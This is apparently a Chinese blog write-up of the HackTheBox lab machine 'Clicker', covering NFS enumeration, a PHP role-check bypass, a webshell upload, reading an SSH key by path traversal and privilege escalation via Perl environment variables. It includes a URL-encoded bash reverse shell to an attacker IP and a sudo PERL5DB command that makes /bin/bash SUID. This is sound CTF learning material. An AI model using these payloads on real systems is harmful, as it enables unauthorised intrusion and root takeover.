[渗透测试学习] Clicker - HackTheBox

文章目录


信息搜集

nmap扫描一下端口

nmap -sV -sC -v -p- --min-rate 1000 10.10.11.232

扫描结果

22/tcp    open  ssh
80/tcp    open  http    Apache httpd 2.4.52 ((Ubuntu)) //重定向
111/tcp   open  rpcbind 2-4 (RPC #100000)

我们往下看发现启用了nfs协议

去网上查询下相关资料 参考文章

NFS最大的功能就是可以透过网络,让不同的机器、不同的操作系统、可以彼此分享个别的档案(share files)。所以,你也可以简单地将它看做是一个文件服务器(file server)。这个NFS服务器可以让你的PC来将网络远程的NFS服务器分享的目录,挂载到本地端的机器当中,在本地端的机器看起来,那个远程主机的目录就好像是自己的一个磁盘分区槽一样(partition),使用上相当的便利。

既然可以远程读取文件,那么我们使用mount命令将远程NFS文件系统挂载到本地目录

在本地创建目录mnt/nfs_file,然后读取根目录文件

sudo mount -o nolock 10.10.11.232:/ ~/test/mnt/nfs_file

注:-o:指定挂载选项,比如读写权限、访问权限等

nolock 是在挂载 NFS 文件系统时的一种选项,用于禁用文件锁定机制,使得同时进行读写操作不受文件锁定限制

我们ls一下,发现zip文件

解压发现不行,用cp命令复制到本地即可

由于80端口出现重定向,那么我们添加域名到/etc/hosts

开始进行下一步

代码审计

我们在admin.php注意到有对session进行身份验证,如果验证失败则重定向到index.php

那么我们尝试得到admin的session,接着在save_game.php找到可利用的地方

<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');	
}
?>

简单分析一下,可以通过foreach对GET参数进行遍历,如果$key不为role(不区分大小写),那么$args[$key] = $value;进行赋值,调用save_profile函数去更新session,修改成功则返回Game has been saved!

这里我们搜索一下$_SESSION['PLAYER']是怎么来的,发现是由username决定的也就是登陆者身份

那么我们可以借助GET传参role=Admin来更新并得到admin的session,但要绕过if (strtolower($key) === 'role')判断

这里本地测试发现,利用换行符%0a就行了

反弹shell

我们随便注册登录后点击play进入游戏,然后save的时候抓包

放行,提示修改成功

然后退出重新登录,发现多了一个功能

点进去看看发现有四个用户

有个导出表格export选项,点击得到保存的路径

访问一下

我们抓包看看保存的过程发现拓展名可控

尝试修改为php成功

既然可以修改为php后缀,那么我们寻找下写马的位置。很明显,保存的数据中只有nickname可以让我们写马,而如何修改nickname的值就和刚刚修改role一样的办法

点击play,然后save的时候抓包

(注意?要url编码一下)

然后还是一样回显保存成功,那么说明成功写入马

继续按照刚刚那样抓包修改导出拓展名为php,然后访问保存路径成功RCE

我们将反弹shell命令url编码一下,然后执行

?1=bash%20%2Dc%20%22bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E74%2F1028%200%3E%261%22

成功反弹shell

我们尝试访问/home/jack发现不行,接着在/opt/manage发现可疑文件

貌似是二进制文件execute_query的使用说明

我们在连接的靶机开启http服务,使用wget命令下载下来该二进制文件

然后丢到ida里F5反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  size_t v4; // rbx
  size_t v5; // rax
  size_t v6; // rbx
  size_t v7; // rax
  int v8; // [rsp+10h] [rbp-B0h]
  char *dest; // [rsp+18h] [rbp-A8h]
  char *name; // [rsp+20h] [rbp-A0h]
  char *command; // [rsp+28h] [rbp-98h]
  char s[32]; // [rsp+30h] [rbp-90h] BYREF
  char src[88]; // [rsp+50h] [rbp-70h] BYREF
  unsigned __int64 v14; // [rsp+A8h] [rbp-18h]

  v14 = __readfsqword(0x28u);
  if ( argc > 1 )
  {
    v8 = atoi(argv[1]);
    dest = (char *)calloc(0x14uLL, 1uLL);
    switch ( v8 )
    {
      case 0:
        puts("ERROR: Invalid arguments");
        return 2;
      case 1:
        strncpy(dest, "create.sql", 0x14uLL);
        goto LABEL_10;
      case 2:
        strncpy(dest, "populate.sql", 0x14uLL);
        goto LABEL_10;
      case 3:
        strncpy(dest, "reset_password.sql", 0x14uLL);
        goto LABEL_10;
      case 4:
        strncpy(dest, "clean.sql", 0x14uLL);
        goto LABEL_10;
      default:
        strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
        strcpy(s, "/home/jack/queries/");
        v4 = strlen(s);
        v5 = strlen(dest);
        name = (char *)calloc(v4 + v5 + 1, 1uLL);
        strcat(name, s);
        strcat(name, dest);
        setreuid(0x3E8u, 0x3E8u);
        if ( access(name, 4) )
        {
          puts("File not readable or not found");
        }
        else
        {
          strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
          v6 = strlen(src);
          v7 = strlen(dest);
          command = (char *)calloc(v6 + v7 + 1, 1uLL);
          strcat(command, src);
          strcat(command, name);
          system(command);
        }
        result = 0;
        break;
    }
  }
  else
  {
    puts("ERROR: not enough arguments");
    return 1;
  }
  return result;
}

然后就卡住了,于是参考下国外师傅写的wp是去读取了jack的id_rsa私钥

这里的参数5是因为在上述代码中如果不为1234中的一个,就会执行第三个命令行参数 argv[2] 的内容复制到 dest 变量中

default:
    strncpy(dest, argv[2], 0x14uLL);

然后拼接文件路径,然后检查文件是否可读。如果文件不可读或者不存在,程序会输出 "File not readable or not found"。否则,将会构建一个 MySQL 命令并执行它,因为拼接的路径为/home/jack/queries/,所以要先返回上一级目录

payload如下

./execute_query 5 ../.ssh/id_rsa

成功读取

将这一长串保存下来命名为id_rsa

由于为了确保私钥的安全性,私钥文件应该只对所有者有读写权限

chmod 600 id_rsa

然后注意OpenSSH内容格式不对,所以将三个-修改为五个

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAAB...
-----END OPENSSH PRIVATE KEY-----

直接ssh连接,得到user的flag

ssh -i id_rsa jack@10.10.11.232

提权

我们sudo发现有monitor.sh,然后cat看下具体内容

这里注意到两个文件/usr/bin/xml_pp/usr/bin/echo(后者并没有什么特殊用处)

而我们跟进/usr/bin/xml_pp发现是perl脚本运行

通过搜索得知一种名为perl_startup的提权方式 参考文章

我们直接给monitor.sh赋予/bin/bash权限

sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
//u+s表示给user用户添加权限,即/bin/bash

然后再bash -p即可(用于启用特权模式(privileged mode)的一个选项,保留有效用户的特权和权限)

得到root的flag

相关推荐
秃头佛爷9 分钟前
Python学习大纲总结及注意事项
开发语言·python·学习
dayouziei2 小时前
java的类加载机制的学习
java·学习
热爱跑步的恒川2 小时前
【论文复现】基于图卷积网络的轻量化推荐模型
网络·人工智能·开源·aigc·ai编程
云飞云共享云桌面3 小时前
8位机械工程师如何共享一台图形工作站算力?
linux·服务器·网络
hikktn5 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
音徽编程5 小时前
Rust异步运行时框架tokio保姆级教程
开发语言·网络·rust
dsywws6 小时前
Linux学习笔记之vim入门
linux·笔记·学习
晨曦_子画6 小时前
3种最难学习和最容易学习的 3 种编程语言
学习
幺零九零零6 小时前
【C++】socket套接字编程
linux·服务器·网络·c++
城南vision7 小时前
Docker学习—Docker核心概念总结
java·学习·docker